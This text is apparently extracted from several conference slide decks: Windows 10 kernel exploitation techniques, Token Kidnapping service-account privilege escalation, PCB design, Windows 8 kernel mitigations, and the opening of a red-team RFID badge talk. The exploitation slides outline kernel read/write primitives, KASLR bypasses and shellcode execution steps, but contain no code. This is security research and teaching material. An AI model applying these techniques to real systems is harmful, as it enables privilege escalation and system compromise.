• Windows 10 Kernel Exploitation on Creators Update
• Lots of hex, C and memes
• 0-days!
Agenda
• Brief look at Kernel Exploitation history
• New Windows 10 Mitigations
• Arbitrary Kernel Read/Write Primitive
• KASLR information leak
• De-randomizing Page Table Entries
• Dynamic Function Location
• Executable Kernel Memory Allocation
Exploitation Concept
• Write-What-Where
• Vulnerability class
• Best case
• Write controlled value at controlled address
• Common case
• Write not controlled value at controlled address
• Leverage to obtain kernel-mode code execution
Brief Look at Kernel Exploitation History
Windows 7
• Kernel information leaks were available with NtQuerySystemInformation
Brief Look at Kernel Exploitation History
Windows 7
• Executable NonPagedPool was the default
• Execute User-mode memory from Kernel-mode
• Window Function running in kernel mode
• Overwrite HalDispatchTable function table with user-mode address
Brief Look at Kernel Exploitation History
Windows 8.1 and Windows 10
• Windows 8.1 and Windows 10 before Anniversary Edition.
• Kernel information leaks with APIs blocked from Low Integrity.
• NonPagedPoolNx is the new standard.
• Supervisor Mode Execution Prevention is introduced.
• Kernel-mode read / write primitive is needed.
• GDI bitmap primitive.
• tagWND primitive.
Brief Look at Kernel Exploitation History
Windows 8.1 and Windows 10
• Information leak of Bitmap through GdiSharedHandleTable
• Overwrite size of Bitmap using Write-What-Where
• Consecutive Bitmaps can create a primitive
• SetBitmapBits
• GetBitmapBits
Brief Look at Kernel Exploitation History
Windows 8.1 and Windows 10
• Information leak of User-mode mapped Desktop Heap through
• ulClientDelta from Win32ClientInfo
• UserHandleTable from User32!gSharedInfo
• Overwrite cbWndExtra using Write-What-Where
• Consecutive Windows can create a primitive
• SetWindowLongPtr overwrites adjacent
tagWND.StrName pointer through ExtraBytes
• InternalGetWindowText
• NtUserDefSetText.
Brief Look at Kernel Exploitation History
Windows 8.1 and Windows 10
• Page Table Entry overwrite is common vector
Brief Look at Kernel Exploitation History
Windows 8.1 and Windows 10
• Windows HAL Heap was in many cases static at 0xFFFFFFFFFD00000
• Offset 0x448 contained a pointer to
ntoskrnl.exe
• Use kernel-mode read/write
primitive to get base address.
Windows 10 Version Naming Conventions
Public Name
Version
Microsoft Internal Name
OS Build
Release To Market
1507
Thredshold 1
10240
November Update
1511
Thredshold 2
10586
Anniversary Update
1607
Redstone 1
14393
Creators Update
1703
Redstone 2
15063
Fall Creators Update
1709?
Redstone 3
N/A
Windows 10 Anniversary Update Mitigations
• Randomizes Page Table Entries
• Removes kernel addresses from
GdiSharedHandleTable
• Breaks bitmap primitive address
leak
Windows 10 Anniversary Update Mitigations
• Limits the tagWND.strName to point inside Desktop heap.
• Breaks tagWND primitive
Locating Bitmap Object
• Bitmap objects are stored in the Large Paged Pool.
• Randomized on reboot
• Need a kernel information leak to locate
• Win32ThreadInfo in the TEB is close to the Large Paged Pool
Locating Bitmap Object
• Creating a number of large Bitmap objects stabilizes the Pool
• Large static offset will point into
Bitmaps
Locating Bitmap Object
• Delete the second large Bitmap object.
• Allocate ~10000 new Bitmap objects of 0x1000 bytes each.
• Will point to start of Bitmap object.
Locating Bitmap Object
• Overwrite size of leaked Bitmap
• Uses two consecutive Bitmaps
•
Write-Where-Where
simulation
tagWND Read/Write outside Desktop Heap
• Pointer verification is performed by DesktopVerifyHeapPointer.
• tagWND.strName must be
within the Desktop Heap
tagWND Read/Write outside Desktop Heap
• Desktop Heap address and size comes from tagDESKTOP object.
• No validation on tagDESKTOP pointer.
• Pointer is taken from header of tagWND.
• Find tagDESKTOP pointer and replace it.
• Control Desktop Heap address and size
during verification.
tagWND Read/Write outside Desktop Heap
• SetWindowLongPtr can overwrite
tagDESKTOP pointer.
• Verification succeeds everywhere.
Write-What-Where
simulation
Windows 10 Creators Update Mitigations
• UserHandleTable from User32!gSharedInfo is gone
• UserHandleTable contains Kernel-mode address of tagWND
• Windows 10 1607
• Windows 10 1703
Windows 10 Creators Update Mitigations
• ulClientDelta from Win32ClientInfo is gone
• Windows 10 1607
• Windows 10 1703
Windows 10 Creators Update Mitigations
• ExtraBytes modified by SetWindowLongPtr are moved to user-mode.
• Cannot overwrite adjacent tagWND.strName.
Windows 10 Creators Update Mitigations
• tagWND as Kernel-mode read/write primitive is broken again.
• Bitmap object header increased by 0x8 bytes.
• Change allocation size to retain allocation alignment.
• HAL Heap is randomized.
• No longer ntoskrnl.exe pointer at 0xFFFFFFFFFD00448.
tagWND Primitive Revival
• ulClientDelta in Win32ClientInfo has been replaced by user-mode
pointer
• Inspecting new pointer reveals user-mode mapped Desktop Heap
tagWND Primitive Revival
• Manually search through Desktop heap to locate tagWND object
tagWND Primitive Revival
• Size of ExtraBytes is defined by cbWndExtra when Windows Class is
registered
• RegisterClassEx creates a tagCLS object
• tagCLS has ExtraBytes defined by
cbClsExtra
• SetWindowLongPtr sets ExtraBytes in
tagWND
• SetClassLongPtr sets ExtraBytes in tagCLS
tagWND Primitive Revival
• ExtraBytes from tagCLS are still in
the kernel
• Allocate tagCLS followed by tagWND.
• Use SetClassLongPtr to update
tagWND.strName
• Read/write kernel-mode primitive
is back
Kernel ASLR Bypass
• Almost all kernel memory is randomized.
• Shared System Page – KUSER_SHARED_DATA is static
• Located at 0xFFFFF78000000000.
• Not executable.
• Does not contain interesting pointers.
• HAL Heap is randomized
• SIDT is mitigated
• Need new ntoskrnl.exe information leak
Kernel ASLR Bypass
• KASLR bypass could be primitive related.
• Must work for Windows 8.1 and Windows 10 1507 to 1703.
• Need a bypass for each primitive.
• Must leak ntoskrnl.exe pointer.
Bitmap KASLR Bypass 0-Day
• Surface structure from REACTOS
Bitmap KASLR Bypass 0-Day
• PDEVOBJ structure from REACTOS
Function Pointer
Bitmap KASLR Bypass 0-Day
Bitmap hdev field is empty
Bitmap KASLR Bypass 0-Day
• Other Bitmap variants exist.
Bitmap KASLR Bypass 0-Day
• Free a Bitmap at offset 0x3000 from first Bitmap
• Spray CompatibleBitmaps to reallocate
Bitmap KASLR Bypass 0-Day
• Read cdd!DrvSyncronizeSurface pointer
• Find ntoskrnl.exe pointer
tagWND KASLR Bypass 0-Day
• tagWND structure from REACTOS
tagWND KASLR Bypass 0-Day
• Offset 0x2A8 of KTHREAD has ntoskrnl.exe pointer
Bonus KASLR Bypass 0-Days
• There are even more KASLR bypass possibilities
Bonus KASLR Bypass 0-Days
• Also kernel pool leak for Bitmap primitive
• Only works on Windows 10 1703
Bonus KASLR Bypass 0-Days
• ThreadLocalStoragePointer helps leak kernel pool
• Works on Windows 10 1607, but removed in 1703
Bonus KASLR Bypass 0-Days
• Instead of using a tagWND we can leak ntoskrnl.exe directly from
gSharedInfo
• Works on Windows 10 1607, but not in 1703
Page Table Entry Overwrite
• Page Table Entries had static base address of 0xFFFFF68000000000
• Self-mapping references
De-randomizing Page Table Entries
• The kernel must lookup PTE’s often
• Must have API which works despite randomization
• MiGetPteAddress in ntoskrnl.exe
• Static disassembly uses old base address
• Dynamic disassembly uses randomized base address
De-randomizing Page Table Entries
• MiGetPteAddress contains
the randomized base address
• Locate MiGetPteAddress
dynamically using read primitive
De-randomizing Page Table Entries
• Locate hash value of MiGetPteAddress
• Leak PTE base address
De-randomizing Page Table Entries
• Write shellcode to KUSER_SHARED_DATA + 0x800
• Flip the NX bit of the page
• Call shellcode by overwriting HalDispatchTable and calling
NtQueryIntervalProfile
Dynamic Kernel Memory
• ExAllocatePoolWithTag allocates kernel pool memory
• Allocate NonPagedPoolExecute
pool memory
• Return pool memory
address
Dynamic Kernel Memory
• Need controlled arguments to call ExAllocatePoolWithTag
• NtQueryIntervalProfile takes two arguments
• Must have specific values to trigger HaliQuerySystemInformation
• Need a different system call
Dynamic Kernel Memory
• Enter NtGdiDdDDICreateAllocation
• Thin trampoline around NtGdiDdDDICreateAllocation
Dynamic Kernel Memory
• Win32kbase!gDxgkInterface is function table into dxgkrnl.sys
• Arguments are not modified from system call to function table call
Dynamic Kernel Memory
• Inspecting win32kbase!gDxgkInterface shows it to be writable
Dynamic Kernel Memory
• Need to dynamically locate win32kbase!gDxgkInterface
• Can be found in win32kfull!DrvOcclusionStateChangeNotify
• Need to leak win32kfull.sys
Dynamic Kernel Memory
• PsLoadedModuleList is doubly-linked list of
_LDR_DATA_TABLE_ENTRY structures.
• Search for Win32kful in Unicode at offset 0x60
Dynamic Kernel Memory
• Leak PsLoadedModuleList from KeCapturePersistentThreadState
• Get Win32kfull.sys base address
• Find win32kfull!DrvOcclusionStateChangeNotify
• Finally locate win32kbase!gDxgkInterface
Dynamic Kernel Memory
• Overwrite win32kbase!gDxgkInterface + 0x68 with
nt!ExAllocatePoolWithTag
• Copy shellcode to allocated page
• Execute it by overwriting win32kbase!gDxgkInterface again
Summary
• Kernel read/write primitives can still be leveraged with Write-What-
Where vulnerabilities
• Page Table randomization can be bypassed with ntoskrnl.exe
information leak
• Device Independent Bitmap can be used to leak ntoskrnl.exe
• tagWND can be used to leak ntoskrnl.exe
• Possible to allocate RWX pool memory with ExAllocatePoolWithTag
• Code on GitHub shortly - https://github.com/MortenSchenk
Credits
• Alex Ionescu - https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-
I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27
t%20one.pdf
• Alex Ionescu - http://www.alex-ionescu.com/?p=231
• Diego Juarez - https://www.coresecurity.com/blog/abusing-gdi-for-ring0-
exploit-primitives
• Yin Liang & Zhou Li - https://www.blackhat.com/docs/eu-16/materials/eu-
16-Liang-Attacking-Windows-By-Windows.pdf
• Nicolas Economou - https://www.coresecurity.com/blog/getting-physical-
extreme-abuse-of-intel-based-paging-systems-part-3-windows-hals-heap
• David Weston & Matt Miller - https://www.blackhat.com/docs/us-
16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf | pdf |
Token
Kidnapping's
Revenge
Cesar Cerrudo
Argeniss
Who am I?
• Argeniss Founder and CEO
• I have been working on security for +8 years
• I have found and helped to fix hundreds of
vulnerabilities in software such as MS Windows,
MS SQL Server, Oracle Database Server, IBM
DB2, and many more...
• +50 vulnerabilities found on MS products (+20
on Windows operating systems)
• I have researched and created novel attacks and
exploitation techniques
Agenda
• Introduction
• What is impersonation and what are tokens?
• Windows XP and 2003 services security
• Windows 7, Vista and 2008 services security
• Token Kidnapping's revenge time
• Conclusions
Introduction
• In the past all Windows services ran as Local
SYSTEM account
– Compromise of a service==full system compromise
• Then MS introduced NETWORK SERVICE and
LOCAL SERVICE accounts
– Compromise of a service!=full system compromise
• Windows Vista, Windows 2008 and Windows 7
introduced new protections
• First Token Kidnapping issues were fixed, but as
we are going to see Windows is still not perfect...
What is impersonation and
what are tokens?
• Impersonation
is
the
ability
of
a
thread
to
execute using different security information than
the process that owns the thread
– ACL checks are done against the impersonated users
– Impersonation APIs: ImpersonateNamedPipeClient(),
ImpersonateLoggedOnUser(), RpcImpersonateClient()
– Impersonation can only be done by processes with
“Impersonate a client after authentication”
(SeImpersonatePrivilege)
– When a thread impersonates it has an associated
impersonation token
What is impersonation and
what are tokens?
• Access
token
is
a
Windows
object
that
describes the security context of a process or
thread
– It includes the identity and privileges of the user
account associated with the process or thread
– They can be Primary or Impersonation tokens
• Primary are those that are assigned to processes
• Impersonation are those that can be get when
impersonation occurs
– Four impersonation levels: SecurityAnonymous,
SecurityIdentity, SecurityImpersonation,
SecurityDelegation
Windows XP and 2003 services
security
• Services run under Network Service, Local
Service, Local System and user accounts
– All services can impersonate
• Fixed weaknesses
– A process running under X account could access
processes running under the same X account
• After fixes
– RPCSS and a few services that impersonate SYSTEM
account are now properly protected
– WMI processes are protected now
Windows Vista, 2008 and 7
services security
• Per service SID (new protection)
– Nice feature, now service processes are really
protected and its resources can be armoured
• Fixed weaknesses in Windows Vista and 2008
– While regular threads were properly protected, threads
from thread pools were not
– WMI processes running under LOCAL SERVICE and
NETWORK SERVICE were not protected
• After fixes
– Threads from thread pools are properly protected
– WMI processes are protected now
Token Kidnapping's revenge
time
• First
I
found
that
Tapi
service
had
process
handles with duplicate handle permissions
• Then I started to examine the Tapi service
– Found weak registry permissions
• HKLM\SOFTWARE\Microsoft\Tracing
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\T
elephony
– Found lineAddProvider() API, Network Service
and Local Service accounts can load arbitrary dlls
• Tapi service runs as System in Windows 2003
– Found that Tracing functionality is used by most
services, including services running as System
Token Kidnapping's revenge
time
• Previous
findings
lead
to
other
interesting
findings in Windows 2003
– When WMI is invoked, DCOMLaunch service
reads Network and Local Service users registry
keys
• If values are found then HKCR keys are not used
• Allows WMI process protection bypass
• Finally
I
could
elevate
privileges
from
Local/Network Service in all Windows versions
and bypass protections
Token Kidnapping's revenge
time
• Windows 2003 IIS 6 & SQL Server exploits
– Bypass WMI protection
• Windows 2008 and Windows 7 IIS 7.5 exploits
– Exploit weak registry permissions
Recomendations
– On IIS don't run ASP .NET in full trust and don't run
web sites under Network Service or Local Service
accounts
– Avoid running services under Network Service or
Local Service accounts
• Use regular user accounts to run services
• Remove Users group from
HKLM\Software\Microsoft\Tracing registry key
permissions
• Disable Telephony service
Conclusions
• New Windows versions are more secure but
there are still some issues easy to find
• Finding vulnerabilities is not difficult if you know
what tools to use and were to look for
• On Windows XP and Windows 2003
– If a user can execute code under Network Service
or Local Service account
• User can execute code as SYSTEM
• On Windows 7, Vista and 2008
– If a user can impersonate
• User can execute code as SYSTEM
References
• Token Kidnapping
http://www.argeniss.com/research/TokenKidnapping.pdf
• Impersonate a client after authentication
http://support.microsoft.com/kb/821546
• Access tokens
http://msdn2.microsoft.com/en-us/library/aa374909.aspx
• Process Explorer and Process Monitor
http://www.sysinternals.com
• API Impersonation Functions
http://msdn.microsoft.com/en-
us/library/cc246062(PROT.10).aspx
Fin
• Questions?
• Thanks
• Contact: cesar>at<argeniss>dot<com
Argeniss
WE BREAK ANYTHING
www.argeniss.com | pdf |
Hardware Black Magic:
Designing Printed Circuit Boards
Dr. Fouad (Dr. K) Kiamilev
Corey (c0re) Lange
Stephen (afterburn) Janansky
Who are we?
• University of Delaware
• Department of Electrical and
Computer Engineering
• CVORG
Who are we?
• Dr. Fouad Kiamilev
• Professor
• Fearless Leader
• Procurer of
Funding
Who are we?
• Corey Lange
• Grad Student
• Geek
• Eternally Grateful
for Aforementioned
Funding
Who are we?
• Stephen Janansky
• Researcher
• Hardware Hacker
• Embedded Systems
Designer
• Network Engineer
What we are doing here?
• Printed Circuit Board (PCB) Design
• It’s easy!
• It’s fun!
• It will let everyone you know how
much of a nerd you really are!
But what is a PCB?
• Layers of dielectric and metal
• Usually copper and FR4
• Anywhere from 2 to 20
• A means to layout circuits
• Prototype vs. Production
What to do with Cu?
• Create electrical
connections between
components
• Traces/Tracks
• Pours/Planes
• Need to use vias to
connect layers
What’s a via?
• Plated hole going through the board
that connects the layers together
• Yes, all of the layers (be careful!)
• Well, not always...
• Blind Vias
• Buried Vias
Components
• A circuit without components is like...
• A bird without wings
• A car without wheels
• A grad student without funding
Components
• A collection of pads or vias that a chip
or discrete part will connect to the
board
• a.k.a. Footprint
Datasheets: Who cares?
• We do!
• Shows lots of valuable information:
• Electrical specifications
• Usual applications/schematics
• Footprint sizes
What happens when you
don’t listen to the datasheet:
Design Rules
• If you design it, they still might not be
able to fab it.
• Machines are only so precise
• Smaller == $$$
• Allow for tolerances
• Design Rule Check (DRC) is a must!!!!
The Finishing Touches
•Soldermask
•Plating metal
•Silkscreen
Secrets of the Pros
• When in doubt, make the pad/via/
through-hole bigger than you think it
should be
• Through Hole ROT: +0.010” to
diameter
• Will allow more room to solder or
allow for an better fit
• Use 1:1 printouts to make sure
components fit properly
More Secrets
• The Capacitor - An
EE’s Duct Tape
• Reduces noise!
• Stores extra
charge!
• Slices a transfer
function!
• And even more!!!!
Source: Wikimedia Commons
How can we design
PCB’s?
• Software Packages:
• Express PCB
• Free
• PCB Artist
• Free
• EAGLE
• Free
• Oregano
• Free, Linux
• PCB
• Free, Linux
• gEDA
• Free, Linux
• Cadence Allegro
• Really not free
• High-Speed
• Hundreds more
• Try Googling it
Enough Talk!
• Let’s design a PCB!
• We are going to use Advanced Circuits’
PCB Artist
• How about we redesign the DEFCON17
Badge?
• All materials and information is
available at Kingpin’s site:
www.grandideastudio.com
Demo Time
Quick Thanks
• UD Computer Engineering
• UD Alumni Association
• Intel
• Advanced Circuits
• DEFCON
Questions/Comments/
Concerns/Debates? | pdf |
MJ0011
[email protected]
逆向Windows 8:
内核安全特性拾趣
1
目的：
逆向Windows 8 Release Preview版本
发现一些新的用于防御或缓和内核漏洞攻击的安全特性
目标：
主要关注ntoskrnl
工具： IDA Pro/Hex-rays/windbg
议程
2
– 禁止零页内存分配
– 禁止Win32k系统调用
– 安全性故障中断
– 不可执行的非分页池
– 使用Intel® Secure Key 技术
– 使用Intel® SMEP 技术
Windows8对抗内核漏洞利用的安全特性
3
– 零页内存：Windows上供 16位虚拟机NTVDM使用，确保16位代码
正常运行
– 内核漏洞攻击技巧，通过ZwAllocateVirtualMemory等系统调用可
以在进程中分配出零页内存
– 触发未初始化对象指针/数据指针引用漏洞或辅助漏洞攻击。
• 案例： CVE-2010-4398
N-Protect TKRgAc2k.sys kernel 0day(POC2010)
– Window 8 上：禁止进程申请低地址内存(0x0~0x10000)
– EPROCESS->Flags.VdmAllowed
禁止零页内存分配
4
– Windows 8 上， 16位虚拟机默认禁用，开启需要管理员权限
禁止零页内存分配
5
– Windows8在所有可能的内存分配位置检查零页分配
• MiCreatePebOrTeb：进线程启动，创建PEB或TEB时
• MiMapViewOfImageSection->MiIsVaRangeAvailable:
映射镜像内存区时
• MiMapViewOfDataSection/MiMapViewOfPhysicalSection
映射数据内存区时
• MmMapLockedPagesSpecifyCache/MmMapLockedPages->
MiMapLockedPagesInUserSpace
映射用户地址时（内核自身未这样使用，但其他驱动使用时会限制）
• NtAllocateVirtualMemory:分配进程内存
禁止零页内存分配
6
禁止Win32k系统调用
– EPROCESS->Flags2.DisallowWin32kSystemCalls
– 实现在：KiFastCallEntry(2)->PsConvertToGuiThread
禁止Win32k系统调用
7
– 禁用win32k 系统调用的作用
– Win32k.sys： Windows内核漏洞高发，调用不受进程权限限制
• MS11-087 Trojan.win32.Duqu 字体解析漏洞
– 目前应用沙箱的防御策略: Job UI限制 效果不佳
– 禁用win32k系统调用可以有效防御一切win32k.sys相关0day，
无需内核驱动，配置简单
– 防御非0day的USER/GDI相关技巧突破沙箱
禁止Win32k系统调用
8
– PsConvertToGuiThread : GUI线程首次调用win32k system call时
切换线程状态
– 应用DisallowWin32kSystemCalls标志后禁止切换，任何对
USER32/GDI32相关调用都会失败
– 三种方式获得此标志：
• 1.IEFO注册表 :
– HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\MitigationOptions (0x10000000)
– 在进程创建过程NtCreateUserProcess->PspAllocateProcess->
PspApplyMitigationOptions应用到标志位上
• 2.文档化的API:SetProcessMitigationPolicy
– 实际调用NtSetInformationProcess->ProcessMitigationPolicy设置标志
位
• 3.从父进程继承
禁止Win32k系统调用
9
– Windows 8 中加入的新的中断: Int 0x29
– Windows8的内核和其他驱动程序在发生安全性故障时使用，将直接
引发BSOD
– 最常见的使用地方在双向链表的链接/脱链前，Windows8的OS加载
器、内核和驱动程序中，在所有双向链表的使用上都加入了这个处理
– 被称为Safe Linking & Safe Unlinking
• 安全链接例子:IoRegisterFsRegistrationChangeMountAware
• 安全脱链例子:IoUnregisterFileSystem
– 防御利用篡改链接后脱链/链接形成任意地址写入
安全性故障中断
10
安全性故障中断
安全脱链机制触发int 0x29中断示例: IoUnregisterFileSystem
11
– KiRaiseSecurityCheckFailure :
• Int 0x29触发后调用到中断Handler
• 简单处理后调用KiFastFailDispatch->KiBugCheck执行BSOD
– Bugcheck 代码 : 0x139 尚未文档化
• 参数:ecx 错误ID
– 目前已知的错误ID:
• 0x2: 内核驱动报告Security Cookie异常
• 0x3: Safe unlinking / Safe linking异常
• 0x6: 内核驱动Security Cookie未被初始化未高质量Cookie
• 0x9: RtlQueryRegistryValuesEx注册表非可信(CVE-2010-4398 )
安全性故障中断
12
– 在Windows8之前， 内核和内核驱动使用ExAllocatePoolXXX只能分配出
可执行的内核非分页内存
– 可执行的内核非分页内存可以用于内核溢出漏洞ROP
– Windows8开始，引入了新的PoolType:
•
NonPagedPoolNx
•
NonPagedPoolNxCacheAligned
•
NonPagedPoolSessionNx
– 通过ExAllocatePool(NonPagedPoolNx)分配出的内核内存不再可执行，
在此类型内存池内执行代码将直接引发BSOD
– Windows8内核和驱动程序都已经使用此类型内存池替换所有原来使用的
NonPagedPool类型
不可执行的非分页池
13
不可执行的非分页池
– 内核默认使用不可执行的非分页池的一个例子:
– IoAllocateDriverObjectExtension
14
使用Intel® Secure Key技术
– Intel® Secure Key技术 代号公牛山
– 在Intel 第三代Core处理器：Ivy Bridge中加入，今年4月正式发布
• 提供硬件实现的底层数字化随机数生成器（DRNG) 支持
• 提供基于硬件的高性能、高质量的熵和随机数生成器
– 引入新的指令：RDRAND
– Windows8 内核开始使用该指令产生随机数，其中重要的使用者就
是Security Cookie/ ASLR的生成过程
– 相关内核函数：ExGenRandom
15
使用Intel® Secure Key技术
– 过去针对内核随机数的攻击：Security Cookie预测 / ASLR暴力攻击
– Windows8以前， Windows内核Security Cookie/ASLR使用系统时
钟KeTickCount或RDTSC作为随机数源
– 结合获取模块加载时间，Security Cookie可被轻易预测，成功率达到
46%以上 (j00ru)
– J00ru:“Windows Kernel-mode GS Cookies subverted”
– H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D.
Boneh: “On the effectiveness of address-space randomization,”
– Windows 8 内核自身使用Intel Secure Key技术生成的Security
Cookie，并强制应用到所有加载的驱动程序中
16
使用Intel® Secure Key技术
•
Windows8在加载内核驱动时调用MiProcessLoadConfigForDriver ，产生随机
数并定位LoadConfig节内旧的Security Cookie，强制进行替换
•
新的Win8驱动检查自身的Security Cookie是否被替换
17
使用Intel® Secure Key技术
– Windows 7 内核/第三方驱动的Security Cookie的生成方式：
HalQueryRealTimeClock(from CMOS) ^ rdtsc
– Windows 8 内核Security Cookie的生成方式：
ExGenRandom-> ExpSecurityCookieRandomData ^ rdtsc
– Windows运行时内核ntoskrnl本身并不直接调用RDRAND指令
– ExGenRandom使用的随机数熵源来自OS加载器Winload.exe在启动过
程中调用RDRAND指令的结果
• Winload! OslpGatherRdrandEntropy
– 事实上OS加载器用五种方法试图获得综合的高质量随机数熵源:
– 外部熵(来自注册表)、TPM熵、实时时间熵、ACPI熵和RDRAND熵
18
使用Intel® Secure Key技术
– IDA Pro 6.3 已经加入了对RDRAND指令的解码支持
– 可以看到 winload 在启动过程中初始化SecureKey
19
使用Intel® Secure Key技术
– ExGenRandom在内核其他的方面的使用：
• 内存池配额Cookie
• 内存池地址分配随机化
• PEB/TEB地址随机化
• 内核模块随机化
• 线程栈地址空间和堆地址随机化
– 传递给用户态使用
• Shared User Data->Cookie(ring3 Ldr*编解码)
• 用户态地址分配随机化
• 内存映射和镜像映射地址分配随机化
20
使用Intel® Secure Key技术
– Guillaume: Bypassing ASLR and DEP on Adobe Reader X
– Adobe Reader X 和Chrome的沙箱使用 VirtualAllocEx分配并放置
System Call Stub跳转代码
– Win7及以前的操作系统上VirtualAllocEx分配的地址未随机化，每次启
动时有85%以上的几率落在固定地址
– 利用SystemCallStub跳转代码分配内配内存，绕过DEP+ASLR
– Windoows8：进程启动时MmInitializeProcessAddressSpace调用
ExGenRandom的生成地址随机数种子
– NtAllocateVirtualMemory时使用MiSelectAddress通过已经生成的随
机数熵来跳转随机地址进行分配
21
使用Intel® Secure Key技术
– Windows7和Windows8分配用户地址随机化的对比实验
– 分别启动20次 计算器(calc.exe)来分配远程内存
22
使用Intel® SMEP 技术
– SMEP : Supervisor-Mode Execution Prevention
– 内核模式执行保护机制，同样来自Intel第三代Core处理器
– Intel CPU提供的新保护机制，可以禁止从Ring0(Supervisor Mode)执
行标记为Ring3(User Mode)地址空间的代码
– 背景：绝大多数内核漏洞攻击都使用一些技巧使内核代码跳转到预先放
置在用户地址空间的 ShellCode
– 经典的技巧：
– 替换HalDispatchTable-> HalQuerySystemInformation
– 为什么将ShellCode放在Ring3：payload问题和地址随机化
23
使用Intel® SMEP 技术
– SMEP开启后：
• Ring0下(CPL<3)的代码在存取指令时会检查页面的U/S标记，如果跳转
到一个用户模式内存，会触发页面异常，Windows8下将处理此类型异
常并触发BSOD
– 将cr4.SMEP(bit 20) 置1将开启此模式
– Windows 8 内核默认开启了SMEP，在内核初始化的第1阶段：
– Phase1Initialization-> Phase1InitializationDiscard -
>KiInitMachineDependent
24
使用Intel® SMEP 技术
– MI_CHECK_KERNEL_NOEXECUTE_FAULT
– Windows8在页面异常中断处理KiTrap0E 中用于处理两种不可执行的页
面异常：非执行页面和SMEP
– 检测到若是支持SMEP的CPU上发生用户态页面的指令存取异常，则触
发BSOD
25
使用Intel® SMEP 技术
– 绕过SMEP的一个主意：通过确定的对象地址进行，向对象内存中放入
一些代码
– NtQuerySystemInformation->SystemHandleInformation(Ex)
– 可利用的对象：FileObject ?
26
使用Intel® SMEP 技术
– Windows8不可行： SMEP + NonPagedPoolNx
– 所有的对象内存都已经不可执行
– 对象内存的PoolType是由系统初始化时调用ObCreateObjectType时指
定( IoCreateObjectTypes)
– Windows8上已经指定FileObject的PoolType为NonPagedPoolNx
27
使用Intel® SMEP 技术
– Windows8 RP SMEP 已知攻击方式防御状况
攻击方式
Windows 8防御方式
SystemHandleInformation(Ex)
内核对象非分页内存Nx
SystemLockInformation
Safe Linking/Unlinking
SystemModuleInformation
模块数据区无保护/代码区写保护
SystemExtendProcessInformation
无保护
GDT/IDT
无保护
0xFFDF0000 (User Shared Data)
MiProtectKernelRegions 设置Nx
0xFFC00000~0xFFFFFFFF(KPCR)
KPCR不固定地址/FFDFF000清空
Win32k Shared Section
USER/内核对象分页内存Nx
28
参考
– Intel. Intel® Digital Random Number Generator Software
Implementation Guide
– Intel. Intel® 64 and IA-32 Architectures Developer's Manual:
Vol. 3A
– J00ru . Exploiting the otherwise non-exploitable:Windows
Kernel-mode GS Cookies subverted
– H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D.
Boneh.On the Effectiveness of Address-Space Randomization
– Guillaume. Bypassing ASLR and DEP on Adobe Reader X
29
Q&A
– 感谢:
• CHROOT Security Group
• 360Safe MDT/HIPS Team
30 | pdf |
DEFCON 22
Eric Smith & Joshua Perrymon
LARES
ALL YOUR BADGES ARE BELONG TO US
AGENDA
INTRO
WHAT IS RED TEAMING
TRADITIONAL ATTACKS/TECHNIQUES
RFID OVERVIEW
ADVANCED ATTACKS
REMEDIATION/RISK MITIGATION
ABOUT: LARES CORP
• Minimum of 15 years InfoSec Experience per consultant (90+ combined)
• Penetration Testing Execution Standard Core Members (PTES)
• Publications
• Aggressive Network Self Defense
• Contributing writer to COBIT
• Contributing writer to ISO17799, and one of less than 1000 certified
auditors of the ISO17799 (international standards for security best
practices)
• Authors of multiple national / international security awareness training
programs
• Blogs/Podcasts/Media/Conferences
ABOUT: LARES PRESENTERS
TedX
InfraGard
Defcon
BlackHat
OWASP
SANS
BruCon
SOURCE
ToorCon
ISACA/ISSA
ShmooCon
PHNeutral
Dark Reading
Security B-Sides
ChicagoCon
NotaCon
White Hat World
Sec-T
Troopers
CSI
HackCon
Derbycon
DakotaCon
ShakaCon
ABOUT: ERIC SMITH
Over 15 years IT/IS experience
•
Red Team Testing/Physical Security Assessments
•
Social Engineering
•
Penetration Testing
•
Risk Assessments
Qualifications
•
B.Sc. Information Security/CISSP, CISA, CCSA, CCNA
Work Experience:
•
Senior Partner/Principal Security Consultant – Lares Consulting
•
Senior Partner/Principal Security Consultant – Layer 8 Labs
•
Senior Security Consultant – Alternative Technology
•
Application Security Analyst – Equifax, Inc.
•
Senior Security Consultant – International Network Services
•
Security Engineer – GE Power Systems
•
Security Analyst - Bellsouth
ABOUT: JOSH PERRYMON
Over 15 years IT/IS experience
•
Risk Assessments
•
Red Team Testing/Physical Security Assessments
•
Social Engineering
•
Vulnerability Assessments & Penetration Testing
•
Application Assessments
•
Wireless Security Assessments
Qualifications
•
CEH, OPST, OPSA, OSSTMM Trainer
Work Experience:
•
Senior Adversarial Engineer– Lares
•
Senior Partner – Layer 8 Labs
•
Advanced Insider Threat/Intel – Bank of America
•
Red Team Leader– Bank of America
•
CEO– PacketFocus
•
Sr. Consultant – BE&K
•
Sr. Consultant - EBSCO
TRUE STORY
WHAT IS RED TEAMING
The term originated within the military to describe a team whose purpose is to penetrate
security of "friendly" installations, and thus test their security measures. The members are
professionals who install evidence of their success, e.g. leave cardboard signs saying "bomb"
in critical defense installations, hand-lettered notes saying that “your codebooks have been
stolen" (they usually have not been) inside safes, etc. Sometimes, after a successful
penetration, a high-ranking security person will show up later for a "security review," and "find"
the evidence. Afterward, the term became popular in the computer industry, where the
security of computer systems is often tested by tiger teams.
How do you know you can put up a fight if you have
never taken a punch?
REASONS TO CONDUCT
•
Real world test to see how you will hold up against a highly
skilled, motivated and funded attacker
•
The only type of testing that will cover a fully converged
attack surface
•
Impact assessment is IMMEDIATE and built to show a
maximum damage event
•
This IS the FULL DR test of an InfoSec Program
Electronic
Physical
Social
•
Network Penetration Testing
•
Surveillance & Implants
•
Direct attack on facilities
and systems
•
In person Social
Engineering
•
Phone conversations
•
Social profiling
•
Baiting
RED
TEAM
EP
Convergence
Attacks on physical
systems that are network
enabled
ES
Convergence
Phishing
Profiling
Creating moles
Blackmail
PS Convergence
Tailgating
Impersonation
TRADITIONAL ATTACKS & TECHNIQUES
• Tailgating
• Lock Picking
• Shimming
• Key Bumping
• Under Door Hooks (K22)
• Lock Bypass
• Elevator Keys
RFID OVERVIEW
RFID TAG FREQUENCIES
WHO USES IT?
